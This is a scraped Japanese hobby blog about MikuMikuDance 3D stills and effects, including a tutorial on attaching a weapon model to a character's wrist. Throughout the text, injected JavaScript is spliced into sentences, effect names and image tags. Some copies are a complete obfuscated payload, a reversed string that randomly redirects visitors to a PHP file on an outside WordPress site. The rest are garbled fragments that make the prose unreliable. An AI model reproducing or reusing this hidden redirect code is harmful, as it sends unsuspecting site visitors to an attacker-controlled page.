カレンダー

2018年11月
« 2月  
 123
45678910
11121314151617
18192021222324
252627282930 

【静画】 MMD選挙のポスター作ってみた(ネル)

「MMD樋口院選挙」タグで盛り上がっているようですので参加してみました。

基本的なネタ

・お前が言うな的な感じ

・DEN2公認ということです。

ただ、DEN2ネタとか、工作員というネルの基本設定が、どこまで覚えてもらえているかというのが不安ですかね。

レンのことが好きな普通の少女ネタ(携帯好き?)って感じに思われてそうな気がしないでもない。

使用したモデル

 キオ式亞北ネル(非本家版) ver.20110101 [物理演算対応モデル]

使用したMME

・Diffusion7(MikuMikuEffect用ディフュージョンフィルタ)

 標準だと効果が効き過ぎるので、Trを0.6にしています。

・PostAdultShadom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}derS2

・AbsoluteShadow(絶対的セルフシャドウエフェクト)

 重いエフェクトらしいけど、静画なら気にしなくていいですね。

【MMD】レア様スカートたくしあげ静画

使用したMME

・XDOF

 レア様にピントをあわせて、背景などはピンぼけにして、レア様を目立つようにしています。

・SSAO/Diffusion

 色合いなどの雰囲気を出すために使用

物理演算はしようせずに、全部、手で設定しています。(静画だとそのほうが楽な時が多い)

モロ見えるより、こういうぎりぎりなほうが妄想力を高められて良くないでしょうか。

といっても、まだまだ精進が足りていませんが、いつか、素晴らしいカットが作れるようになれればいいな。

小ネタ画像 グミさんをみるミクさん (はたらく魔王さま!の1シーン)

はたらく魔王さま! 第10話をみていて、思いついた構図です。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

これがはたらく魔王さま!の1シーン。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

こっちがMMDで作った小ネタ画像。

もっと、ミクのジトッとした感じをだしてみたかったのですが

半笑い的な表現に落ち着きました。

もっと表情をうまく出せるようになりたいですね。

静画にも載せてみたりしています。

1枚絵でキャッチーなネタ画像を作ってみたいですが、なかなか難しいですね。

しかし、ちょっとしたネタでも画像にしてみたりして、少しでもMMDのやり方を覚えて行きたい今日このごろ。

【MME】武器などのPMXモデルをMMEで追従させる

前にPMXモデルとPMXモデルとくっつける方法として、「dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html” title=”【MMD】PMDモデルにPMDの武器を持たせる” target=”_blank”>【MMD】PMDモデルにPMDの武器を持たせる」の記事を書きましたが、

お手軽に実現できるMMEがありました。

その名は、

MMEでアクセサリ位置に追従するPMD,PMX」 v1.01 by Furiadom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ざっくりとどんなものか説明すると

PMXのモデルを手軽にアクセサリのように扱えるというものです。

この解説動画に配布先も書いてありました。

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm14659140″]

では、ハクさんに自動小銃(PKM)を持つ方法を例として説明します。

1.ハクと、自動小銃(PKM)のモデル読み込み

普通に、2つのモデルを読み込んでください。

2.アクセサリに「Alignment1.x」を読み込む

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

赤青緑のオブジェクトが表示されます。

3.fxファイルの修正

17行目にある、「センター」をPKMのボーン名に変更(PKMにはセンターというボーンがないため、適当なボーンを指定)

修正前:#dom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}define ROOT_BONE_NAME “センター”

修正後:#dom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}define ROOT_BONE_NAME “PKM”

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ボーン名は、この画像で選択されている「PKM」にしています。それ以外でも動作します。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

修正箇所は赤枠の部分。

ここでは、「RootAlignment.fx」の中身を書き換えて使用しています。

通常表示の場合の0位置が中心としてアクセサリの角度、スケーリングが反映され

アクセサリの位置に移動します。

ファイル名を修正して保存。(今回は「BoneAlignment_PKM.fx」という名前にして保存しました)

4.アクセサリ(Alignment1.x)をハクのモデルに割り当て

「アクセサリ操作」にて「Alignment1.x」をハクの右手首に割り当て。

こうすることで、自動小銃がハクの右手首に追従することになります。

(fxファイルを割り当てないと追従しないので、次の作業を行なってください)

5.fxファイルの割り当て

3.修正したfxファイル「BoneAlignment_PKM.fx」を割り当て

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

自動小銃のモデル(pxch_PKM.pmx)にファイルの選択で、割り当てた後の状態です。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

このような形に、自動小銃がハクの右手首付近に移動します。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

試しに、ハクの右腕を移動させてみると、ちゃんと自動小銃がくっついて移動します。

ちなみにfxファイルは、以下の5種類が同梱されています。

それぞれの違いは、Readme.tx参照。

・BoneAlignment.fx

・BoneOffsetAlignment.fx

・BoneOffsetAlignmentOffsetOnly.fx

・RootAlignment.fx

・RootAlignmentOffsetOnly.fx

6.赤緑青のオブジェクトを消す

アクセサリのTrを0に設定すれば見えなくなります。

あとは、アクセサリの座標をいじって手の位置に合わせたりするだけです。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

以上です。

個人的には、ダミーボーンをモデルにつけておいて、アクセサリをそのダミボーンに連結させたほうが手軽に微調整できていいかなと思ったりもしています。

【MMDモデル紹介】初音オミク修正版

ミクのデータ更新をしたとのツイートを見て早速ダウンロードしました。


配布先

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://bowlroll.net/up/dl18038

新バージョンなどが配布された際は、上記の場所になっている可能性があります。



dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

いきなりのジト目からです。いい感じのジト目が作れました。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ded5bbbab1d.jpg”>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ded5bbbab1d-512×384.jpg” alt=”” width=”512″ height=”384″ class=”alignnone size-medium wp-image-3032″ />

こっちは、標準の表情ですね。標準の表情から目線だけ変更。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de15.jpg”>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de15-512×384.jpg” alt=”” width=”512″ height=”384″ class=”alignnone size-medium wp-image-3034″ />

頬染めてみると、可愛さアップ。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

全身だとこんな感じです。

ふわふわウェーブなツインテールですね。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

こうやってみると、意外と胸がありますね。

しかし、既存のポーズを読み込ませたところ、いろいろとうまく反映されないところがあるようなので

ボーンの名前とか、または設定?などが違うのかもしれません。